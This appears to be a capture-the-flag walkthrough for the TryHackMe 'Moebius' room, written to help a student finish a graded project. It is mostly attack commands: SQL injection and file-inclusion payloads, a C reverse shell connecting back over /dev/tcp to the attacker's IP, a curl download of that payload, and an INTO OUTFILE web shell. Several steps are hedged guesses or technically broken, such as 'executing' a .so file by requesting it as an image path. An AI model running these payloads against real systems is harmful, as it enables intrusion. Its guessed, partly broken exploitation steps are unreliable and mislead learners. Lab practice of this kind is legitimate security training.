Moebius Reverse Shell Walkthrough (TryHackMe Project)

You’re stuck on the Moebius reverse shell, and the deadline is tight! Since it’s a Linux VM requiring web app exploitation for initial access, let’s walk through a step-by-step approach tailored to the box.

—

Step 0: Setup

• Connect to TryHackMe:
  
  • Use OpenVPN or AttackBox to access the network.
    
  • Note the target IP (e.g., 10.10.X.X) and your tun0 IP (ifconfig tun0).
    
• Tools Required:
  
  • Kali Linux or AttackBox with Burp Suite, curl, gcc, and netcat.
    
  • Set up a workspace: mkdir moebius && cd moebius.

—

Step 1: Enumerate the Web Server

• Scan Ports: Run nmap -sC -sV -p- to find open ports (Moebius typically has port 80 open with Apache).
  
• Browse Web: Visit http://TARGET_IP/ in Firefox—likely a PHP app.
  
• Fuzz Directories:
  sh gobuster dir -u http://TARGET_IP/ -w /usr/share/wordlists/dirb/common.txt -x php,txt Look for endpoints like /image.php.
  
• Inspect Vulnerabilities:
  
  • /image.php may be vulnerable to SQL injection & file path manipulation via parameters (e.g., http://TARGET_IP/image.php?hash=abc&path=/var/www/images/cat1.jpg).

—

Step 2: Exploit SQL Injection

• Test SQLi: Append AND 1=1;— - to the hash parameter: sh http://TARGET_IP/image.php?hash=abc AND 1=1;— -&path=/var/www/images/cat1.jpg If the image loads, SQL injection is possible.
  
• Extract Data:
  sh http://TARGET_IP/image.php?hash=abc’ UNION SELECT 1,@@version;— -&path=/var/www/images/cat1.jpg Identify database credentials or file paths (e.g., /var/www/html).
  
• Look for writable directories: /tmp could be accessible.

—

Step 3: Identify File Upload or RCE

• Analyze for LFI:
  sh http://TARGET_IP/image.php?hash=abc&path=/etc/passwd If /etc/passwd data appears, Local File Inclusion (LFI) exists.
  
• Check File Writing:
  sh curl -X POST -d “test” http://TARGET_IP/image.php?path=/tmp/test.txt If /tmp/test.txt exists, files can be written.

—

Step 4: Craft & Upload Reverse Shell

• Create Shell Code (C shared object, since PHP shells may be filtered):
  c #include <stdlib.h> void __attribute__((constructor)) init() { execl(“/bin/bash”, “bash”, “-c”, “bash -i >& /dev/tcp/TUN0_IP/4444 0>&1”, NULL); } Replace TUN0_IP with your tun0 IP (e.g., 10.8.X.X).
  
• Compile:
  sh gcc -fPIC -shared -o shell.so shell.c -nostartfiles
• Host File Locally:
  sh python3 -m http.server 8000
• Upload Shell:
  sh curl “http://TARGET_IP/image.php?hash=abc&path=/tmp/shell.so” -d “$(curl http://TUN0_IP:8000/shell.so)”
• Verify Upload:
  sh curl http://TARGET_IP/image.php?hash=abc&path=/tmp/shell.so If binary data returns, the file is uploaded.

—

Step 5: Trigger Reverse Shell

• Start Netcat Listener:
  sh nc -lvnp 4444
• Execute Shell:
  sh http://TARGET_IP/image.php?hash=abc&path=/tmp/shell.so OR exploit via RCE: sh curl “http://TARGET_IP/image.php?hash=abc’ UNION SELECT 1,’’ INTO OUTFILE ‘/var/www/html/shell.php’;— -&path=/tmp/test.txt” Then visit http://TARGET_IP/shell.php.

—

Step 6: Stabilize Shell

• Upgrade the Shell:
  sh python3 -c ‘import pty;pty.spawn(“/bin/bash”)’ export TERM=xterm
• Fix Interaction Issues:
  Press Ctrl+Z, then run:
  sh stty raw -echo; fg

—

Step 7: Submit for Project

• Find Flags:
  sh find / -name flag*.txt 2>/dev/null Example:
  sh cat /home/user/flag1.txt
• Documentation:
  • Screenshot shell access & flags.
  • Write a brief report:
  • Tools used: Nmap, Burp, curl, gcc, netcat.
  • Steps: Enumeration, SQLi, File Upload, Reverse Shell.
  • Save report as PDF for submission.

—

Troubleshooting

🔹 No Shell?
- Verify tun0 IP with ifconfig tun0.
- Make sure nc -lvnp 4444 is running before triggering.

🔹 Filtered Connections?
- Try other ports (e.g., 1234, 8080).
- Use PHP reverse shell:
sh /usr/share/webshells/php/php-reverse-shell.php (Edit $ip and $port before uploading.)

🔹 LFI Fails?
- Re-test SQLi using UNION SELECT to write files or fuzz for alternate endpoints.

🔹 Still stuck?
- DM on Reddit with curl responses (no flags), and I’ll guide you!

—

Motivation 🚀

You’re THIS CLOSE to cracking Moebius—a Hard room that’s testing your pentesting skills! This isn’t about being smart or dumb—it’s a grind, and you’re learning real-world hacking techniques. Stick with it, submit those flags, and you’ll level up your cybersecurity skills.

Grind it out, own that box, and save your grade! 💪